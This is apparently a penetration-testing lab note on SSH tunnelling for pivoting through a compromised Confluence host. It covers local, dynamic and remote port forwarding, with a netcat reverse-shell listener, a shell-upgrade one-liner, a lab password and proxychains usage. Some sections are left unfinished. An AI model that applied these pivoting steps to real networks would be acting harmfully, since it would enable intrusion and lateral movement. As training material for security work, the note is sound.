SSH Tunelling

SSH tunneling encapsulates arbitrary network traffic inside an encrypted SSH connection. It’s useful for securely accessing services across restrictive networks or pivoting through compromised systems. Port forwarding with SSH is controlled using options like -L, -R, and -D, depending on the direction of traffic.

Local

Local port forwarding is commonly used when you have SSH access to a pivot machine and want to access a service only it can reach. Unlike tools like socat or chisel, SSH is encrypted by design and blends into normal admin traffic. Expanding the port forward scenario:

  • We compromised CONFLUENCE01 (192.168.125.63) and have a reverse shell.

  • From there, we can SSH to PGDATABASE01 (10.4.125.215).

  • PGDATABASE01 has access to an SMB server on HRSHARES (172.16.185.217:445).

Our goal is to forward TCP port 445 on 172.16.185.217 to TCP port 4455 on CONFLUENCE01, then access it from our Kali machine.

$ nc -lvnp 4444
...
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/sh")'
$ ssh database_admin@10.4.125.215
...
database_admin@10.4.125.215's password: sqlpass123
...
database_admin@pgdatabase01:~$

Dynamic

Local port forwarding can only connect to one specific destination per SSH connection. With local dynamic port forwarding, instead of connecting to just one destination, it creates a SOCKS proxy server on the SSH client.

A SOCKS proxy works like a mailroom — it takes in network requests, reads where they need to go, and forwards them through the SSH connection to any destination the SSH server can reach. The only requirement is that the software sending the requests must be able to use SOCKS. If it isn’t, extra steps are needed to make it compatible.

In our scenario, instead of connecting directly to port 445 on HRSHARES, we’ll do it through our SSH SOCKS proxy. The problem is that smbclient doesn’t have built-in support for SOCKS proxies. Since SOCKS proxies expect traffic in a specific format, smbclient’s normal traffic won’t work through it. To solve this, we’ll use proxychains — a tool that forces other programs to send their traffic through a proxy. proxychains works well with most dynamically linked programs but not with statically linked ones. To use proxychains:

$ nc -lvnp 4444
...
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/sh")'
$ ssh -N -D 0.0.0.0:9999 database_admin@10.4.125.215
...
database_admin@10.4.125.215's password: sqlpass123

Although we use SOCKS5 here (which supports extra features like authentication and IPv6), SOCKS4 could also work. Always check which version the proxy server supports during engagements.

For nmap via proxychains the -sT flag must be used; the default sudo scan (-sS) won't work.

Scan Type
Method
Proxychains Compatibility

-sS (SYN)

Raw packets (no connect())

❌ Not compatible

-sT (Connect)

Standard TCP connect() calls

✅ Fully compatible

Remote

In earlier examples, we could freely connect to ports on CONFLUENCE01’s network. In real environments, though, firewalls usually block inbound traffic to protect systems. Outbound traffic is typically less restricted, which means it's easier to SSH out of a network than into it. This is where SSH remote port forwarding comes in. It works like a reverse shell for port forwarding.

Type
Listener Location
Direction

Local / Dynamic Forwarding

On the SSH client

Into the remote

Remote Forwarding

On the SSH server

Back to your system

Here’s how it works:

  1. We compromise CONFLUENCE01 (192.168.125.63) using CVE-2022-26134.

  2. Our goal is to enumerate PGDATABASE01's (10.4.125.215) 5432 port.

  3. A firewall blocks inbound connections.

  4. The only port we can connect is 8090 which forbids us from creating port forwards.

  5. However, CONFLUENCE01 has an SSH client and outbound SSH is allowed.

  6. We can SSH from CONFLUENCE01 to Kali and use remote port forwarding to tunnel database traffic.

Start an SSH server on Kali.

$ sudo service ssh start
Starting OpenBSD Secure Shell server: sshd.

$ netstat -ntl | grep 22
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp6       0      0 :::22 

Why Remote Port Forwarding?

Remote Dynamic

Remote Dynamic Port Forwarding has only been available since OpenSSH 7.6 (October 2017). The good news? Only the OpenSSH client needs to be v7.6+ — the server version doesn’t matter. In our scenario:

  1. We have CONFLUENCE01 (192.168.125.63) but we can only talk to it on one port (8090).

  2. We want to scan other machines on the internal network (like MULTISERVER03 (192.168.125.64)), but the firewall won’t let our Kali machine directly access them.

  3. From CONFLUENCE01, we SSH outward to our Kali machine.

  4. We create a SOCKS proxy on our Kali machine that listens on a port (let's say 9998).

  5. Any traffic sent to this SOCKS proxy, will fly back through the SSH tunnel to CONFLUENCE01. Then CONFLUENCE01 will forward it to the final destination inside its network.

Start an SSH server on Kali.

$ sudo service ssh start
Starting OpenBSD Secure Shell server: sshd.

$ netstat -ntl | grep 22
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp6       0      0 :::22 

Both remote port forwarding and remote dynamic port forwarding use the SSH -R option; the difference lies in the arguments supplied to -R:

Type
Syntax
Purpose

Classic Remote Port Forwarding

ssh -R [remote_port]:[dest_ip]:[dest_port] user@remote_host

Tunnel to a fixed destination

Remote Dynamic Port Forwarding

ssh -R [remote_port] user@remote_host

Create a SOCKS proxy for dynamic routing

For the remote port forwarding command, if only a port number is provided (e.g., -R 9998), SSH binds the port to the loopback interface (127.0.0.1) of the SSH server by default.

If needed to terminate a service.

$ sudo netstat -lntp | grep 9998
tcp        0      0 127.0.0.1:9998      0.0.0.0:*  LISTEN      325/sshd-session: x
tcp6       0      0 ::1:9998            :::*    LISTEN      325/sshd-session: x

$ sudo lsof -i :9998
COMMAND   PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
sshd-sess 325 x7331    6u  IPv6    964      0t0  TCP ip6-localhost:9998 (LISTEN)
sshd-sess 325 x7331    8u  IPv4    965      0t0  TCP localhost:9998 (LISTEN)

$ sudo kill 325

Last updated

Was this helpful?